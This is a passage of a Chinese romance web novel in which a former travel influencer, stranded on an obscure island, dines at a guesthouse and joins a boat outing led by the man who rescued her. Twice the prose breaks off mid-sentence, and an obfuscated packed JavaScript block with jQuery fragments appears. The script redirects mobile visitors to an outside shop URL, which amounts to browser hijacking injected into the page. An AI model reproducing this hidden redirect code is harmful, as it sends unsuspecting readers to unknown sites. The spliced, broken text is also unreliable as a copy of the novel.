其实他们当地文旅局不是没重视过宣传,也不知道是剪辑师不行还是脚本创意不行,总之就是卷不过其他文旅局,做出的视频宣传见效甚微,反响平平。官媒账号下那零星的几个赞,据说还是内部员工自己点的,只是为了撑个场面,不至于结果太难看。
一直想扬眉吐气的村委会因此士气大减,渐渐自暴自弃,久而久之就到了连根安全铁链坏了报修,都一拖再拖的地步,没人真正放在心上。
他也时常抱怨自己还是小孩这件事,不然就可以帮爸爸妈妈干很多事情了,但父母只一个劲地让他好好学习,可他偏偏就不爱学习。
麦初听完感同身受,要不是包的车半路抛锚,她也不会误打误撞来到这座小岛,更不会知道它的存在,确实没什么知名度。
“我家除了晚饭还提供夜宵呢,你没吃晚饭可以下来吃点东西垫垫肚子。”小佟光自我消化后又摆出一副小掌柜的姿态来。
在小佟光的盛情邀请下,饥肠辘辘的麦初还是下了楼,她想哪怕能再吃上一碗昨日的海鲜面也好。
麦初跟着小佟光来到民宿餐厅,才发现这会儿下来觅食的不止她一个,还有其他房间的客人。大概是外头天气不好的缘故,今晚大家都不约而同汇聚在了这里,他们三三两两地围坐一处,有人笑闹着看墙面投放的电影,有人小酌闲谈,有人凑在一起打牌。
虽然人是不多,稀稀落落的,却生出了一派温暖闲适的烟火气,这般温馨的氛围,让民宿也别有一番滋味。
麦初随便找了一个座位落座,拿起桌上的菜单翻阅了起来,浏览菜单后发现菜品还不少,便问佟光:“你爸一个人揽这么多活忙得过来吗?”
小佟光有些无奈道:“岛上也有大排档,但在山下,离我们这儿比较远,有的住客不想夜里下山,晚上饿了又想吃口热乎的,就会问我爸能不能搞点夜宵,一来二去的,我爸索性把民宿晚饭时间调成零点之前了。”
麦初记起早上的时候他说过佟老板去医院看他妈妈的事情,再结合佟老板在店里身兼数职,凡事亲力亲为的模样,心里也隐约猜到了七八分:他妈妈应该是生病了。
她生怕冒犯,没再多问,只是难免伤感,他这么小就要承受很多,难怪言行举止中看着要比同龄小孩早熟些。
麦初低头继续看菜单,看到了昨晚的海鲜面,刚说来一碗,小佟光却抱歉地挠着头告知:“真不巧,今天的面条全用完了。”
麦初重新看了看菜单也拿不定什么主意,她向小佟光求助:“要不,你给我推荐一个?”
“你吃海肠吗?”小佟光问。
麦初说自己不挑食。
“那你一定尝尝看我爸的海肠捞饭,他的手艺在这岛上如果排第二可没人敢排第一。”小佟光满是骄傲的老道样一看就不是第一次推销了。
那鲜活到恨不得奔走相告的样子和白天对着作业愁眉苦脸形成鲜明比对,正如他爸所言反正只要不是学习,他对任何事都很上心。
“行。”麦初合上菜单,“那就海肠捞饭了。”她很给面子地听取了小佟光的意见。
小佟光也很受用,屁颠屁颠地往后厨给麦初下单去了。
也没等多久,这海肠饭就被端上来了。
麦初以为还是小佟光送来的,抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182743|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头一看才发现是那个人。
看来他除了站前台也在后厨搭手,不过也是,民宿里本就人手紧张,一人多用估计是常态。
麦初看着他给自己摆好盘和餐具,他同样也换了干净的t恤,动作间带着一阵刚洗过澡的清爽气息,隐约中嗅出是马鞭草的味道,淡淡的很好闻。
她不得不承认,这样近的距离下,这张脸带来的冲击力实在很强,落进眼底,侵略性十足,竟再也装不下旁人旁物。
要知道在她的工作圈子里,从不缺好看的男人。
或者正因为这座小岛籍籍无名,衬得他更像一颗沧海遗珠,在这片天然到近乎质朴环境里,更彰显着他的与众不同。
海肠捞饭盛在砂锅里,乔翊没有直接端送到麦初面前,而是先放置在她对面位置的台面上。他抬手掀开锅盖,一股滚烫的热气猛地往上涌,隔着一臂的距离麦初都能感受到那股暖烘烘的热气打在脸上,鲜香也跟着扑面而来。
色相俱全,就差味了,麦初心里早已跃跃欲试,又见他拿起勺子将上层的海肠浇头细细拌进米饭里,让浓稠的酱汁充分渗进每一粒米中,最终吸饱了精华的米饭被他盛在小碗里呈现麦初面前。
油润饱满,粒粒入味,秀色可餐,勾人馋欲。
做完以上动作,乔翊才将碗送到她手边:“请慢用。”
“谢谢。”
麦初舀起一勺送入口中,即刻被惊艳,鲜味极致,直达味蕾。
她大赞了一口好吃后,突然对着正要离开的乔翊比了个耶。
她突如其来的卖萌,倒和她的微信名格外应景。乔翊本来还担心今晚的事情会给她留下阴影,现在看来自愈能力还不错。
他唇角不自觉微微上扬,麦初还举着那两根手指在他面前更明显地晃了晃,并明确地表达出自己的用意:“麻烦来两瓶啤酒,帮我开好谢谢。”
乔翊这下明白,原来是自己会错了意。
他低笑一声,说:“好。”
给其他桌上端好小菜的小佟光正巧在走道里听到了麦初的诉求,嘴里喊着:“我来我来。”人已经一溜烟朝着冰柜跑了过去。
之前海肠捞饭用砂锅盛着,佟川怕他一个小孩毛手毛脚地被烫到,才让乔翊代劳送上桌去,但拿个酒水对他来说可是小菜一碟。
可他刚拿出两瓶冰镇啤酒,正要关上冰柜玻璃门,又听到他爹在后厨发出对他的呼唤,只得将两瓶冰啤酒往路过的乔翊手上一塞,拔腿就跑。
谁料佟光前脚刚走,乔翊后脚就把那两瓶冰啤酒放回原位,他全部换成了常温的,又照她的吩咐又照着她刚才的吩咐,一一启开瓶盖后再送了过去。
不过麦初只从他手中接过一瓶。
拿过酒瓶后,只见她握着瓶身,盈盈站起身,语气正式,却不乏轻快的语调。
“敬你啊,救命恩人。”
还不等乔翊反应,她手里的酒瓶已经先一步碰了上来,发出清脆的一声——“叮”。
瓶中液体随之涌动,细密的气泡如获大赦,争先恐后地涌出瓶口,顺着瓶身喷洒在两人指尖。
餐桌上方的吊灯光影交错,柔柔地笼罩在她的全身,她眸底也有流光闪动,一眼望去,说不出的灵动张扬。
她手握啤酒,言笑晏晏。
“总不能一直叫你救命恩人,我叫麦初,你呢?”
10. 10
“叮——”地一声清脆碰撞,乔翊的酒瓶也爽朗地与麦初那瓶重新交颈,他报上自己姓名。
“乔翊。”
麦初好奇:“哪个yi?”
乔翊将酒瓶换至左手,用被酒水淋湿的右手指尖在桌上写出一个潇洒的“翊”字,字如其人,是遒隽不羁的行楷。
qiao不难猜,应该就是他的微信名,麦初把它们自动组合在一起,紧跟着念出:“乔翊。”
他的名字就这样从她唇齿间滚落,清脆悦耳。
明明只有简单的两个字,从她口中发出的每个音节都有种留声机缓缓淌过的质感,温润且富有磁性,仿佛他的名字都有了具影成象的生动,下一秒就能跳脱出那些中规中矩的横平竖直与思绪牵手共舞起来。
乔翊伫立在原地,与学生时代在讲台下被点到名时屏息凝神期待校长致辞的样子如出一辙,胸腔里也似碰撞的啤酒泡沫肆意弥漫开,跟着她说话的语速轻轻共振,又像有什么细碎的东西混在里面,一下一下挠着心口。
“他刚吃了头孢,不能喝酒啦。”小佟光活像个窜天猴,在餐厅里来回穿梭,一会儿跑到那儿,一会儿又回到了这儿,看到他俩一副快要把酒言欢的模样,他突然一个闪现,一句话全盘托出,当即就把刚酝酿起来的气氛给戳破了。
“头孢?”麦初下意识地觉得他吃药应该跟她脱不了干系。
果然,当事人也点头承认,“之前感冒没好透,淋了雨嗓子有点疼,也就头孢效果立竿见影。”
感冒?
短短一句话让麦初只觉信息量有点大,好在有小佟光在旁解惑。
只见他叉着腰,欠兮兮地大笑一声,然后揭老底似地把矛头直指向乔翊,“那天我在摆渡船上说的嘴硬之人就是他,前段时间台风刚收尾还没彻底结束呢,他头铁得很,不穿外套就坐船,结果受了风寒,感冒了好几天。”
麦初并不觉得好笑,只有些恍惚。
难怪之前他一直戴着口罩,不是为了凹造型,而是感冒了?
之前的暗自揣测,也在真相揭露后变成了某种恶意的冒犯,羞愧感迅速遍布麦初全身,虽然她表面看上去仍旧无异,但那微微晃动的眼神,早把心底那点心虚出卖得一干二净。
“抱歉啊,我连累你了。”
她一语双关,借着救援的事,把藏在心底的歉意一并道了出来。
如此一看,刚才一瓶酒的谢意顿时显得微不足道起来。
这一回,她的声音跟刚才念他名字时不同,温言细语地又轻柔下来,像一曲钢琴弹至终章,高潮过后,余音渐次收拢,低回处让人不自觉地屏息凝神,慢慢变得安静。
该不会是什么cv类主播吧?她声音这样好听,乔翊很难不往这方向猜测。
只是明明挺正常的一句道歉,他怎么还从中听出了几分欲语还休来?
“不是,哥,你吃了几个菜啊就醉成这样?”
隔壁桌聊到尽兴之处分贝自然而然抬高,穿插在他们之间好似旁白。
“就是啊,自恋!”
“……”
于是乔翊收起内心的那份自恋,为了减轻她的心理负担,直言道:“谈不上,我本就是岛上民间救援队的一员,今天就算不是你也会是别人,再说天气预报都难以预料的事,你不必感到抱歉。”
他反倒对她这份诚挚的谢意生出几分遗憾,抬手将酒瓶悬空轻举,示意来自他的歉意:“酒今天是喝不了了,不过来日方长,有的是机会。”
民间救援队?
这几个字很有含金量,麦初连带看他的眼神都从只看皮囊的肤浅延伸出一丝敬佩来。
“老乔很厉害的,前段时间还在我们民宿下面的玻璃海救过被离岸流卷走的小孩,那海看着漂亮不深,其实挺危险的呢。”不知什么回来的小佟光也不忘给他人品做出加分项。
这番话唤起了麦初与他初次相遇的记忆,之前心头盘旋的困惑也一下子迎刃而解。当时她在玻璃海边只顾贪恋美景,全然忽略了海面暗流涌动的危险。虽然后来他插科打诨说是怕她跳海,但真相却是他怕有离岸流再现后重蹈覆辙。
原来今晚不是他第一次救她,早在之前,他就已经不动声色地保护过她一次……
一念及此,麦初的心绪不自觉地泛起了阵阵波澜。
不想让气氛就此冷却下来,她很自然接过他刚才所说的话,“不可惜,反正酒都开了,仪式感总要有。”
说着,她恰到好处地举起酒瓶:“那就敬伟大的民间救援队,同时也祝小佟光心想事成,祝民宿生意兴隆,祝夏安岛风调雨顺,游客人山人海。”
乔翊内心为之一动,虽然觉得最后那句“夏安岛人山人海”难以实现,却还是展露一笑。
他举起酒瓶,配合着她的仪式感与她轻轻一碰,“谢了,借你吉言。”
周围突然有鼓掌声响起,是隔壁桌的住客无意听到他们对话后的真情流露。
他们也举起桌上的酒杯,参与到其中:“那我们也敬大家从天南地北来,在这里有缘相聚!”
其他桌的人只当是民宿活动,情绪很快被这份热闹感染,纷纷跟着参与进来。
另一桌立刻高声接上:“敬人生!敬远方!敬自由!”
大家呼朋引伴,像小时候玩的击鼓传花,一句接着一句,很有意思,当然也有直接送上祝福的:“山海为书,日月为礼,祝我们的灵魂永远自由!”
“山山而川,征途漫漫,祝我知我喜乐,纵情跋涉!”
“好!说的好!”大家拍手鼓掌,虽是陌生人,此刻却其乐融融共聚一堂把酒言欢,气氛也变得越来越活跃,暖意漫遍全场。
有人坐得远还不知道发生了什么事,看麦初和乔翊一对俊男靓女直直地站在那儿只当是求婚,前因后果还没理清楚就一副看热闹不嫌事大的八卦样,信马由缰地站起来拍手连连叫好,干脆瞎掺乎起着哄:“好!小弟不才,就祝二位才子佳人!百年好合,早生贵子!”拎起酒瓶还挺客气:“我干了,你们随意!”当场表演了一个吹瓶。
错搞乌龙,一瞬间哄堂大笑,好不热闹。
只有乔翊和麦初两人像某桌上被架着烤的鸡翅一样,火星乱迸,面红耳赤。
麦初更是哭笑不得,她不过是随口一个举杯,怎么就演变成了全场大联欢,最后那个喊得热血沸腾的人,确定不是来搞笑的吗?
“民宿里很久没那么热闹了。”佟川不知何时从后厨走出,被这难得的热闹场面感染,也很捧场地做出今晚酒水全免的承诺。
老板大方请客,又一次掀起民宿里一波小热潮,掌声混着轻快的口哨声响起,屋外的狂风暴雨仿佛被彻底隔绝在外,所有人都只顾着沉浸在眼前这份热闹又真切的快乐里。
只有小佟光急得上蹿下跳,“爸爸!这可使不得啊,使不得啊!那可都是钱啊爸爸!”
最后还是乔翊站出来说他来请客,才暂时安抚住了小佟光痛心疾首的抓狂。
麦初在一旁默默看着,没想到他这店小二倒挺大方,只是不知道他一天的工钱,够不够付今晚全场的酒水钱。
趁着人都在,有一桌住客岔开话题,问佟川明天原定的行程还能不能照常出发。
佟川看了一眼外头的天气,只说:“还得看明天天气再决定,大家等我通知。”
众人齐声附和,各归各位继续享用夜宵。
回到座位的麦初也认真品尝起她的海肠捞饭,鲜美的滋味刚漫上舌尖,满脑子生意经的小佟光又凑了过来,“小麦姐,要不你跟大家一起拼团在岛上玩吧?你看你今天没走我们家的团,差点……”他猛地撤回一个乌鸦嘴,立马换上嬉皮笑脸,“一起拼团大家都能互相照应,总比你一个人单枪匹马强。”
他能说会道,超出了麦初对小学生的认知。
麦初自然知道民宿和当地旅行社之间的们门门道道,相互拉客源、互抽提成,简而言之也是以后她的就业方向,反正在那几个女孩离开之前她也无处可去,不如就当一次实地市场调研好了。
“行啊,怎么付款?”麦初当即问。
以为她还要考虑考虑的小佟光没想到她这么爽快,省去了了解套餐的过程,甚至价格。
“你就不怕我狮子大开口啊?”小佟光也是头一次遇见她这样的,从她漫无目的的上岛开始就表现得不同寻常,具体他也说不上来,反正跟乔翊身上那股子随意又不随便,张驰却不张扬的劲儿差不多。
麦初笑了笑,“你不是给我看过你家的套餐吗,价目表我记得大差不差。”她故意逗他,“难不成还有什么隐形消费,在岛上强制购物啊?”
“那当然没有啦,我们童叟无欺的好吗!”小佟光信誓旦旦地保证,“反正你去了就知道,我找我爸去拿收款码。”
麦初看他说完马不停蹄的热络样,觉得这孩子挺有喜感,不自觉弯唇一笑。
可这一笑,一不留神,又悄然落进了乔翊的眼里。
等乔翊拎着酒瓶回到后厨,佟川正在制作爆炒鱿鱼这道菜,刚加入一勺生抽,一勺老抽,一勺蚝油,正要找啤酒的时候佟光进来叽里咕噜跟他说话,但油烟声实在太大,他还没听清儿子说的什么,看到乔翊进来手上拿着的酒瓶,二话不说就抢过来往锅里倒,嘴里还说着:“你可来得真及时,你怎么知道我正好要啤酒?”
这下,乔翊安静了,小佟光安静了,后厨除了锅里的噼里啪啦仿佛都安静了。
一无所知的佟川继续翻炒着他的爆炒鱿鱼,边炒边高声问儿子:“你刚说什么来着?”
佟光怕他爸还是听不见,这次带着比划,“二维码。”
“什么玩意儿要密码?”果然听岔了。
“二维码!收款的二维码!”
“哦,收款码啊。”好在这回听清了,“在前台第一个抽屉里,压计算器下面了。”
“好嘞。”小佟光急着收钱,一屁股溜了。
眼前只剩乔翊了,佟川熟练地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182744|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颠着锅朝有一碗海肠捞饭的砂锅那儿努努嘴,让他帮忙再送一碗去7号桌。
乔翊一言不发照做,只是临走时多带了样东西,等佟川收汁再要用啤酒时却怎么都找不到刚刚那瓶啤酒了。
他双手叉腰原地寻找,以为是自己记忆出现了偏差。
“嘿——酒呢?”
用完宵夜的麦初回到房间才发现手机里已经躺着一串微信消息,刚刚临时起意下去吃饭,手机正在充电她并没有带下去。
打开一看还是女孩们,今晚赶海吃了个教训,她们不敢再贸然自由行,正商量着要不要在岛上报个团,顺便问麦初要不要跟她们一起拼。麦初则告诉她们自己已经在民宿里参加拼团了。
女孩们顺势询价,她们自己的民宿也有套餐,但她们也想货比三家,看看各家项目和收费有什么差别。
麦初如实报上自己刚付款的数字,她们又问套餐里具体包括哪些项目。
麦初一开始就是盲报的,不过刚刚付款的时候小佟光倒是很有契约精神地跟她简单介绍了一遍套餐内容,只是当时她沉浸在美味的海肠捞饭里,一句都没往心里去。
这会儿人已经回到房间,再特意跑下去问,不就摆明了刚才没把小佟光的话当回事么,也很不礼貌。
她犹豫了片刻,于是指尖一动,给乔翊发去一条微信。
乔翊正把啤酒瓶和白天的雪碧瓶,整整齐齐地暂时放置在前台桌面上,倒不是他有什么收藏癖,只是别人用于答谢他的物品,他不喝也不能随意扔之放之,况且她晚上还搞出了这么大阵仗。
一旁的手机忽然轻轻亮了一下。
他抬手点开,屏幕上跳出来的正是麦初发来的消息。
小小麦个萌:【救命恩人,劳烦空了发个海上项目的套餐明细给我,我看能不能给你们再拉几个客人。】
乔翊不用想都知道她说的客人是谁,毕竟整座岛上她只认识那三个女孩。
他看着屏幕上救命恩人四个字不由失笑。
谁刚才说不能总叫救命恩人的,这才过去多久就又叫上了。
麦初以为他正在楼下忙碌,一时半会儿还没空回她信息,岂料得到了他的秒回,她转发给“美少女战士”群后赶紧发去一个感谢。
【谢了】发完才意识到今晚好像不是在谢他,就是在谢他的路上。
才短短一天,怎么好像欠了他很多人情似的呢。
女孩们很快决定跟她一起拼团,麦初又忙不迭地向乔翊索要收款码,她不求分文地干着中介的活,旅行社还没开先开启了客服初体验。
正要问怎么补合同,他直接发来一个链接,她先打开一看,发现是套餐在OTA平台上的付款链接,支付完成后,会自动生成线上电子合同。
小小麦个萌:【等下,有在线付款为什么佟光没告诉我?】
乔:【他傻】
【……】
麦初在岛上的第一天就这样九曲十八弯的过去了,她真诚地希望接下来的这几天,大海能给点面子,风平浪静些,毕竟人也不能一直倒霉下去吧。
如她所愿,第二天果然是个艳阳高照的好天气。
乔翊大半夜把麦初拉进了拼团群,佟老板一早就在群里通知,今天可以正常出海,消息一出,引得群里一片欢呼,随后麦初也把四个女孩也拉进了群,等人齐之后,佟老板又发了个集合定位。
怕有人误会,佟川还特意在群里解释了下:【岛上交通不便,麻烦大家自行前往出海码头,到时会有领队接应。】
今天上午的项目是海钓,麦初懒得化妆了,涂了厚厚的一层防晒液,又戴上墨镜和遮阳帽穿上防晒服才敢出门,临行前还特意往前台瞟了一眼,发现和昨天一早一样空空如也,心想在这上班其实也不错,不忙也不用准时打卡还不用跟同事拼谁更卷,出门就能看到大海,这何尝不是另一种方式的自由呢?
码头离民宿有很长一段距离,麦初一路步行过去,居然比四个女孩先到,她根据佟老板发在群里的图片找到了他们今天所要乘坐的游艇,看着其他人陆续上了船,附近走没什么能遮阳的地方,想着不如先上船等,还能避避暑。
于是麦初径直向游艇走去。
登船要先经过一段水上浮动平台,虽说结实,可终究漂在海面上,人一踩上去就会跟着轻轻摇晃。
偏偏这时,身后冲过来两个追逐打闹的小孩,父母担心安全在后面急着追赶,几人一来一回,把浮筒踩得左右摇曳,跟走吊桥似的颠颠簸簸。
游艇甲板和浮动码头本就隔着一小段空隙,正要跨步上船的麦初被晃得猛地一失重心,只能慌忙收回迈出去的脚,继续用自己的身体平衡来维持脚下的稳定,等着浮筒重归平静。
“手给我。”
突然一只手从天而降地出现在她面前。她一抬头就看到了站游艇甲板上的乔翊。
望着那只伸向自己的手,麦初的第一反应居然是:他可真行,就业面也太广了吧。
11. 11
埋在皮肤下的青筋自小臂蜿蜒而上,像脉络分明的山脉,充满活力地盘根虬结于肌理之间。
麦初伸手搭上他的手,他宽厚的手掌将她全权盖住,掌心交融,指腹相抵之处,除了温热还有些粗粝,中指和食指的交界处凸起的茧子摩在她指尖,有股小虫在啃噬皮肤的酥麻感。
一个收力,麦初被他拉带上船。
“谢了。”
“没事。”
上船后麦初摘下遮阳帽将墨镜随意架在颅顶,视线在乔翊身上带着巡睃,跟站民宿前台不同,今天他一席深色,上身宽松T,下身深灰色工装裤,空顶遮阳帽把他原有的微分碎盖衬得更为浓密,银色护目镜的压迫下鼻梁线条更显陡峻,即使一双眼被收拢其中,也难掩其凌厉,整个人在这半遮半掩下生出一股屏息的张力。
麦初凝着他一副资深钓鱼老的派头,问出心中好奇:“你这是,兼职?”
乔翊轻描淡写,“算是吧。”
麦初顺势打趣,“老板一个人顶几个人活,员工也到处兼职,你们民宿干脆“倦”改叫“卷”吧,说不定客流量也能跟着卷起来。”
眉梢微扬,护目镜横跨眉骨之下,乔翊的眼神仿佛穿透过镜片聚焦在她脸上,抿成直线的唇与下颌绷紧的弧度勾勒出近乎锋利的英俊轮廓。
虽然他身处在这座小岛,干着平平无奇的工作,麦初却总觉得他隐隐透着一股说不上来矜贵气质。
明明看不到那掩藏在模糊光影后的瞳孔,麦初却仍能感受到被注视的炽热,耳际传来他的似笑非笑。
“看来大博主也信玄学?”
麦初挑眉,“你搜过我?”
乔翊坦言,“昨晚民宿里有客户认出了你,我有幸被安利。”
麦初身为初代网红,虽说未到无人不知的地步,但好歹多年的流量积累也能在广大网民中混个眼熟,她本就在人群中一众独立,昨晚在民宿餐厅那么一闹腾,有桌驴友顾客越看越她越不对劲,拿出手机搜索认真对比后,待她离开后按捺不住激动之心摇着伙伴的臂膀惊呼。
“我去,刚刚那美女是大网红麦初诶,我就说怎么那么眼熟,我居然跟大网红住同一家民宿了!”
同伴对吟诗作对不感兴趣,刚刚也一直闷头干饭没参与到餐厅的热闹中去,自然没有关注到什么美女帅哥,但麦初是最早一批的旅行博主,名声在外,在驴友中也是广为人知,他们以前甚至还讨论过她做颜值主播比旅行主播更挣钱的话题,虽然最终结论是无论她在哪个赛道赚多赚少都轮不到他们这些籍籍无名者咸菜萝卜淡操心,但此刻听到她本人在这儿的消息顿时也来了劲。
“你是说麦初?那个颜值比旅行更出圈的大美女?她刚在这儿?不会吧?”
“千真万确!我就怕自己眼花了,都上网对比过了,就是她,以前隔着屏幕看她以为多少依靠点美颜滤镜,没想到线下她也这么能打,是货真价实的真美女,不是见光死的‘照骗’。”
“卧槽,那你刚怎么没叫我,现在人都走了说个p。而且她不是在网络消失了好久,都有两年多没更新了。”
“我这不是也怕认错人嘛,前段时间不是一直在传她跟公司闹解约呢,有的网络公司忒不要脸,各种霸王条款还摁着博主头做事,现在跟资本闹僵了要复出也比较难吧。”
“啧,可惜了哟,现在网上不是妖魔就是鬼怪,要么满级美颜搞擦边要么一排模子哥一天到晚划拉个退扫来扫去,我隔着屏幕都怕他们的腿抽抽了,急需这种纯天然无公害的美女洗眼睛,那她不会是来这儿散心的吧?”
“也不是没可能,据说她们这种级别的网红违约金都是天价,够抵上我们普通老百姓几套房了。”
“要命啊,要命,那不得剥层皮。”
“唉,是吧,各行各业,各有各的难处。”
他俩一来二去地一通聊,话音悉数落进正在旁桌收拾的乔翊耳中。
后来回到前台,他打开手机回复微信时,乔翊蓦然注意到屏幕上一个新下载的短视频app,自然不是他所为,而是被老子锤怕的佟光已经不敢在佟川手机上造次,只得趁乔翊不备在他手机乱下一堆游戏软件和app,过把瘾后再赶紧删除,以为这种小把戏能瞒天过海,实则只是乔翊的睁一只眼闭一只眼罢了。
他总觉得这种短视频软件像慢性毒药,长期碎片化的内容会侵蚀人的专注力与深度思考能力,使大脑对很多事情感到厌倦,一旦习惯了这种模式,将难以忍受枯燥与需要耐心对待的事物,最好的方式就是从根源上杜绝,所以他一般不会让自己的手机上出现这些软件。
欲要像平常一样将app删除时,他骤然想起什么,指尖停顿,稍等过后点了进去,他用她的名字尝试搜索,不费吹灰之力看到了她的账号,正如客户所言,她最近一条视频还停留在两年前,即便如此,大几百万的粉丝量仍旧居高不下。
旅行博主的标签在账号下也显得异常醒目,原来她不是cv类主播,而是旅行博主。
之前猜错的乔翊随手点开一个视频,除了风景如画,个人风格也十分明显,配合她治愈的声线,视觉听觉得到了双重享受,与其说是自由的先行者,不如说是引发灵魂共鸣的导师。
不知不觉,主页视频刷了一大半,平常为了克制自己鲜少沾染网络的他如同网瘾少年般在既陌生又新鲜的领域逗留许久……
然而有了一次搜索,大数据精总是能精准推送相关信息,乔翊只要再次打开那个软件满屏关于拿麦初做话题的营销号,正犹豫要不要将app删掉,远远看到她独自朝他所在的游艇走来,此时她跟镜头里的光鲜亮丽不一样,一身简约跟其他人精心打扮的五颜六色相比素雅至极,仿佛视频里那个熠熠生辉的人只是另一个平行世界里的npc,但即使现实中素面朝天,也并不影响她成为吸睛的存在。
看她单薄的身影险在浮动筒上摇摇欲坠,他收起手机,又一次向她伸出援手。
麦初早就习惯了没有隐私,吃网络这碗饭,就要承认它所能带来的一切,这是做他们这行的基操,不过现在的她充其量只是一个比素人多了一层履历的小卡拉米而已。
麦初习以为常,也丝毫没觉得被冒犯,只问,“这么巧的吗?那他们今天也一起出海么?”
如果是关注过她的粉丝,她一定要请他们吃顿饭来感谢曾经的支持。
乔翊却说,“他们今天离岛,没有报团出海。”
麦初可惜地一笑,毫不掩饰地说起自己的前尘往事,“什么大不大小不小的也都是过去式了,我早被资本踢出局了,那些流量账号也都归属于前公司,我现在只是一个正在创业路上的普通人。”
“能被人记住,也是一种成功。”对于她的轻描淡写,乔翊如此说道,声音随温柔的海风一道划过麦初耳畔,即便很快随之消弭,却尚有回音似的,黏在耳膜上挥之不去。
麦初没想到他一个前台小哥说起话来还挺文绉绉的,正要询问他是不是土生土长的岛民,为何甘愿待在这座与世无争的小岛上。
恰逢远处传来女孩们高亢的呼唤声。
“姐姐!姐姐!我们来啦!”
两人对话就此打断,麦初朝她们挥手以示回应。
女孩们欢快地在浮动平台上奔跑,摇晃时还伴随着撒欢戏耍的尖叫,很是热闹。
她们一个个都身着炫彩夺目的长裙,头顶很适合出片的草帽,一副享受度假的松弛感,只是上船的时候需要跨步蹬上甲板,女孩们只得将长裙隆起,小心翼翼抬腿,晃晃悠悠的样子跟麦初先前无异。
看她们手搀手相互扶持忙乱的样子,麦初想让壮丁像刚才拉她上船一样去帮衬一把,谁知头一回人已经不见了,明明刚刚人还站着跟她说话,居然走得悄无声息,连她都不知道是何时离开的。
她嘀咕着他的神出鬼没,赶紧上前搭了把手。
女孩们上船没多久,所有人也齐全了,游艇缓缓驶出码头,在湛蓝的绸缎上绽开白色的花。
女孩们跟麦初挨坐一起,三人对于昨晚赶海脱险后让麦初落了单一事深表歉意。
麦初对此俏生生地微微一笑,“那罚你们今天多钓几条鱼,期待海鲜大餐。”
女孩们也跟着她笑开,“必须的必须的。”
随后四人告知各自姓名,这才算正式认识。
麦初也从而得知她们是出来写生的艺术生,特意选的冷门小众景点,既能避开暑期旅游高峰期的人潮,又能欣赏到美景。
“姐姐你怎么一个人来小岛玩啊?”聊完她们,女孩们也反过来问她。
“我本来要去的地方是青禾,路上出了点状况。”麦初简单地解释。
“那就你一个人出门吗?男朋友呢?”她们又问。
麦初直接否认,“没有,我单身”
几人说话间乔翊正走进船舱,简短告知大家自己是今天旅程的领队,如果有什么问题大家可以直接找他对接。
他的出现立刻引起船舱内一阵骚动。
大多都是民宿的住客,跟麦初第一反应一样先是惊叹他工作方面的全能,可很快又围绕起他的颜值与外形讨论起来。
女孩们并没有认出他就是在麦初民宿有两面之缘,甚至还闹出一桩乌龙地的前台口罩哥,只有其中一人认出了他是赶海救援队的一员。
她按捺住兴奋跟同伴还有麦初说,“这领队就是昨晚赶海,把我救上岸的那个小哥哥!我说的帅哥就是他!”
其他两人本来看到帅哥就两眼放光,这下更是崇拜不已,“我去,昨天还以为你在吹牛,还真是个帅哥啊。”
“是啊是啊,没想到他居然是今天的领队,好巧啊。”
“这不多亏了小麦姐,不然也不一定能在岛上再碰到。”她们说着同时朝麦初挤眉弄眼。
麦初只是云淡风轻地一笑,看着他成为众人的视线焦点,越发觉得他待在这小岛还真是有点可惜了。
这里几人在嘀嘀咕咕,那里其他游客在好奇心的驱使下举起了手。
有人顺着乔翊刚才的话发起提问:“请问是什么问题都能问吗领队?”
得到乔翊首肯后立即开启八卦模式,“领队你多大,有对象吗?”
原本还在私下热切讨论的女孩们瞬间噤声,暗呼嘴替的同时跟着其他游客屏息凝神起来静等答案。
正抱臂而坐的麦初莫名成了一名现场观众,代入一下自己,如果被陌生人当众问隐私只会觉得冒犯,但此刻她又一点双标,因为她也挺想知道答案。
而乔翊好像已经习惯了这种场景,他没有故作高冷,而是不假思索地回应,“二十八,没有。”
麦初环抱着的双臂稍稍松了松,他俩居然还是同龄。
他的回复又引发了船舱内第二轮轰动,这下男女老少都炸起了锅。
“来来来,加个微信,我有个侄女……”
“领队哥哥,我还单身!”
乔翊应对自如,告诉大家,“我就在出海小分队的群里,跑不掉。请大家配合我的工作,先穿上你们手边的救生衣,海钓的区域在深海,途中可能会遇上风浪,我们一切安全第一。”
得到了一众附和,“对对对,对对对。”
反正帅哥说的都对。
麦初跟着乔翊的演示穿上了手边的救生衣,自己穿完还帮女孩们检查有没有穿戴正确,恰好也被她看到乔翊趁大家低头穿戴的时候溜出了船舱,对他仓皇而逃的模样忍俊不禁。
果然刚才还没搭上话的女孩们很快发现没了乔翊的身影,欲要起身寻找时麦初见缝插针抛出一个话题,她询问女孩们,“你们每年都会一起出来旅行吗?去过哪些地方啊?有什么推荐的吗?”
她觉得这正好是个市场调研的好机会,便借机打开话匣。
女孩们正处在分享欲旺盛的年纪,一个有兴致的话题只要一旦被挑起,她们立刻开始如数家珍,麦初边听边在脑中各种分析。
大致可以总结为学生党更看中性价比,景色上要能出片,热衷于将各种风景照和美食照发到社交平台分享,如果有热门打卡地也会去走一遭,紧跟潮流,时间上更倾向于法定节假日,寒暑假,充分利用学生证享受半价优惠,相比热门城市会更考虑景色差不多的平替,这样既节省了吃住行上的成本,也能玩的舒心,一举多得。
